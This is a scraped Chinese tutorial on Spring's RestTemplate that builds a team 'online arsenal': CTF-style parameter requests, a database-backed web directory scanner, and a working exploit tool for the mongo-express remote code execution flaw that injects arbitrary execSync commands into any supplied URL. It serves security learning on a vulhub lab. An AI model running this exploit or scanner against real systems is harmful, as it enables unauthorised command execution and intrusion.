我的编程空间,编程开发者的网络收藏夹
学习永远不晚

java分布式基于RestTemplate的使用方法

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

java分布式基于RestTemplate的使用方法

1.前言

最近在接触到分布式方面知识的时候,学习了RestTemplate的一些使用。RestTemplate比较常见的就是用来进行一些http请求。本人在使用之后,在语法简洁的同时,感觉非常的方便。

于是乎在后面就想到了,通过RestTemplate来做成在线的"武器库",会不会更方便呢。因为Springboot开发本来就比较简单,而且在后期进行一些团队协作的时候,用在线的平台是不是相对于团队更方便?避免了因为环境不一致而造成的问题。

2.RestTemplate get请求及传参

2.1正常get请求不带参

首先来用一下正常不带参的请求,既然要使用RestTemplate,那么肯定首先要new出来。之后使用rest.exchange进行请求。

exchange参数说明如下:

类型说明
url请求路径
method请求的方法(GET、POST、PUT等)
requestEntityHttpEntity对象,封装了请求头和请求体
responseType返回数据类型
uriVariables支持PathVariable类型的数据。

参数1,2不做过多讲解,参数3的话,在初始化HttpEntity的时候,就可以传入一个自定义的headers。

所以提前通过HttpHeaders headers = new HttpHeaders();

进行设置headers并传入即可。

@RequestMapping("gettest")
public @ResponseBody String param(){
RestTemplate rest = new RestTemplate();
HttpHeaders headers = new HttpHeaders();
headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");

String url = "http://127.0.0.1/t.php";
ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>       (null,headers),String.class);

String body = res.getBody();
return body;
}

在上方的代码中,请求的是一个php文件,而该php文件非常简单,只是打印出user_agent。

image.png

在打印出user_agent之后,ResponseEntity res这儿就接收到了回显信息,最后在通过res.getBody();成功获取到页面的回显数据

2.2 get请求带参使用

了解完上面的无参get请求之后,接下来了解一下如何传参?

是不是感觉有点枯燥了?为此加了点CTF元素。代码如下,只有当用户传参符合第四行的if判断,才会进行输出正确的flag

image.png

传参方式:

这种也是最为常见的一种,就是使用参数接收,是不是感觉和上方无参get方式的代码非常相似?下方形参agent和value就是在网页中的参数名(PS:学过springboot的小伙伴应该都知道)。之后将agent设置到headers里面,而value进行了拼接到**t.php?value= **后面进行当做参数值传入

public @ResponseBody String param(**String agent,String value**){
        RestTemplate rest = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent",**agent**);
        String url = "http://127.0.0.1/t.php?value="+**value**;
        ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
        String body = res.getBody();
        return body;
    }

最后进行测试一下,成功进行传参获取到了“flag”

image.png

2.3 编写在线目录扫描脚本

既然玩转了get请求之后,那就来做一个目录扫描的小功能吧。毕竟学以致用。

整体实现流程如下,采用springboot,并整合mybatis。这里没有写Service层,因为毕竟都是初步实现而已。

而最为显著的一个优点就是:站点目录都会存入到数据库中,这就在后期发展中避免了字典少,不够用的问题。因为团队成员都可以将自己的字典存入到该数据库中。

image.png

首先准备好数据库和一些"字典",测试阶段,本人自己就手动添加了几个。后续如果字典庞大,可自己写个小脚本导入到数据库即可。

image.png

数据库准备好之后,就可以进行整合mybatis了。这里pom文件需要加载mybatis和mysql的依赖。

目录结构如下:一个Controller,一个mapper和xml配置文件,以及一个用来存储的类

image.png

application主配置文件,主要用来写一些数据库配置

server.port=8081
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8
mybatis.mapper-locations=classpath:Mapper/*.xml

Mapper代码如下,记得要加上@Mapper注解

@Mapper
public interface MuluMapper {
    List<catalogue> selectAll();
}

Mapper.xml配置,用来查询数据库中的 “字典”

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.restclien.Dao.MuluMapper">
<select id="selectAll" resultType="com.example.restclien.Dao.catalogue">
        select * from catalogue
    </select>
</mapper>

既然配置好之后,那就开始实现重要功能点了!代码简单讲解一下:首先通过@Autowired把mapper自动注入。

之后 List<catalogue> list = muluMapper.selectAll();

会到mapper.xml中执行select查询语句,并将其保存到List集合中。最后到for循环中进行循环遍历过程中,将url与获取的数据库中的name字段内容拼接保存到temp这个临时变量。

举个例子:

用户输入url为http://127.0.0.1

name字段第一个内容为:admin

那么最终 temp=http://127.0.0.1/admin

拼接完成之后,通过exchange访问,最终res.getStatusCodeValue()获取响应码,为200的话,就判定该文件存在。(PS:这里判断的比较潦草,比如403等情况没有进行判断)

@RestController
public class MapperController {
    @Autowired
    MuluMapper muluMapper;
    @RequestMapping("/tance")
    public String tance(String url) {
        RestTemplate rest = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        List<String> lists = new ArrayList<>();
        headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
        List<catalogue> list = muluMapper.selectAll();
        if(!url.endsWith("/")){
            url+="/";
        }

        for (catalogue tance : list) {
            String temp = url+tance.getName();
            try{
                ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
                lists.add("目录存在:"+temp+" 响应状态码为:"+res.getStatusCodeValue());
            }catch(Exception e){
                e.printStackTrace();
            }

        }
        return lists.toString();
    }
}

看一下最终成品吧,成功实现一款简易的在线web目录扫描

image.png

image.png

3.RestTemplate post请求

3.1 post请求玩法

有了上面的思路之后,post也类似。那么为了防止大家感觉枯燥,继续来玩这道"CTF"

php的代码没有太大变动,只是请求换成了post

image.png

RestTemplate代码如下:传参将agent设置到headers里面,而value添加到了LinkedMultiValueMap中,可以理解为这个LinkedMultiValueMap就是用来存储post要提交的数据,而最后这个稍作不同的是,用的restTemplate.postForEntity()进行post提交数据即可,与get是非常类似的。

@RequestMapping("/Post01")
    public @ResponseBody
    String Post01(String agent,String value){
        RestTemplate restTemplate = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent",agent);
        String url = "http://127.0.0.1/t.php";
        LinkedMultiValueMap params = new LinkedMultiValueMap();
        params.add("value",value);
        ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class);
        return str.getBody();
    }

最后传参即可,dong的一下,“flag”也就出现了

3.2 mongo-express 远程代码执行漏洞脚本编写

靶场安装直接去vulhub下载即可。安装过程很简单,启动之后

image.png

漏洞利用过程更为简单execSync中输入要执行的命令即可。返回Valid表示执行成功了。

image.png

之后前往docker查看即可,发现成功创建1.txt

image.png

接下来编写利用脚本

先准备一个比较丑的前端页面,存到static目录中,这是Springboot默认存放静态资源的地方。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>mongo-express 远程代码执行漏洞</title>
</head>
<body>
<form action="/exec" method="post">
    请输入漏洞URL:<input type="text" name="url"/><br/>
    请输入要执行的命令:<input type="text" name="command"/>
    <input type="submit" value="提交">
</form>
</body>
</html>

Controller编写思路,首先可以看到action提交到了exec,所以RequestMapping写成exec即可,参数的话,一个url用来接收url地址的,一个command用来接收命令。

image.png

完整Controller如下,笔者带你进一步分析:在paramMap.add语句中,可以看到对输入进来command进行了拼接,假设笔者这里输入的为“ls”,从而构成了如下数据

document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)

最后使用的exchange方法进行的POST提交,提交的URL为笔者传入的,而command传入并拼接进去之后,数据最终存到了httpEntity中,,而这里的参数就不做过多讲解,因为有了前面的基础,应该都能一看懂什么意思。

@RequestMapping("/exec")
    public @ResponseBody String Post01(String url,String command){
        RestTemplate restTemplate = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)");
        MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>();
        paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")");
        HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers);
        ResponseEntity<String> response = null;
        try {
            response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class);
        }catch(NullPointerException e){
            e.printStackTrace();
        }
        return response.getBody();
    }

最终测试过程,编写脚本利用成功

image.png

image.png

image.png

4.结尾

在进行内部团队协作的时候,后期效率确实是可以提升,同时也提升了自己的代码水平~。

以上就是基于RestTemplate的在线武器库的详细内容,更多关于RestTemplate的在线武器库的资料请关注编程网其它相关文章!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

java分布式基于RestTemplate的使用方法

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

java分布式基于RestTemplate怎么用

这篇文章主要介绍了java分布式基于RestTemplate怎么用,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。1.前言最近在接触到分布式方面知识的时候,学习了RestTem
2023-06-29

基于RestTemplate的使用方法(详解)

1.postForObject :传入一个业务对象,返回是一个String调用方:BaseUser baseUser=new BaseUser();baseUser.setUserid(userid);baseUser.setPass(pa
2023-05-31

基于java的分布式爬虫

【本文转自博客园 作者:张锋 原文链接:https://www.cnblogs.com/skyme/p/4440831.html】分类分布式网络爬虫包含多个爬虫,每个爬虫需要完成的任务和单个的爬行器类似,它们从互联网上下载网页,并把网页
2023-06-05

基于Redis实现分布式应用限流的方法

限流的目的是通过对并发访问/请求进行限速或者一个时间窗口内的的请求进行限速来保护系统,一旦达到限制速率则可以拒绝服务。前几天在DD的公众号,看了一篇关于使用 瓜娃 实现单应用限流的方案 --》原文,参考《redis in action》 实
2023-05-30

怎么用RMI实现基于Java的分布式计算

这篇文章将为大家详细讲解有关怎么用RMI实现基于Java的分布式计算,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。Java 2 Enterprise Edition(J2EE)远程方法调用(Remote
2023-06-03

Java分布式锁的使用方案有哪些

这篇文章主要讲解了“Java分布式锁的使用方案有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java分布式锁的使用方案有哪些”吧!前言随着互联网技术的不断发展,数据量的不断增加,业务逻
2023-06-04

使用Redis实现分布式锁的方法

目录Redis 中的分布式锁如何使用分布式锁的使用场景使用 Redis 来实现分布式锁使用 set key value px milliseconds nx 实现SETNX+Lua 实现使用 Redlock 实现分布式锁锁的续租看看 SET
2022-06-16

基于MFS高可用的分布式存储架构

MFS是一个具有容错性的网络分布式文件系统,它把数据分散存放在多个物理服务器上,而呈现给用户的则是一个统一的资源;分布式文件系统就是把一些分散在多台计算机上的共享文件夹,集合到一个共享文件夹内,用户要访问这些文件夹的时候,只要打开一个文件夹
2023-06-03

Java Elastic-Job分布式定时任务使用方法介绍

xxl-job 通过一个中心式的调度平台,调度多个执行器执行任务,调度中心通过 DB 锁保证集群分布式调度的一致性,这样扩展执行器会增大 DB 的压力,然而大部分公司的任务数,执行器并不多;xxl-job 提供了非常好用的监控页面甚至还有任务失败的邮件告警功能
2023-01-16

java分布式部署的方法是什么

Java分布式部署有多种方法,以下是常用的几种:1. 垂直扩展:通过增加服务器的硬件资源(例如CPU、内存)来增加系统的处理能力。这种方法适用于系统的性能瓶颈主要是由单台服务器的处理能力限制造成的情况。2. 水平扩展:通过增加服务器的数量来
2023-09-05

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录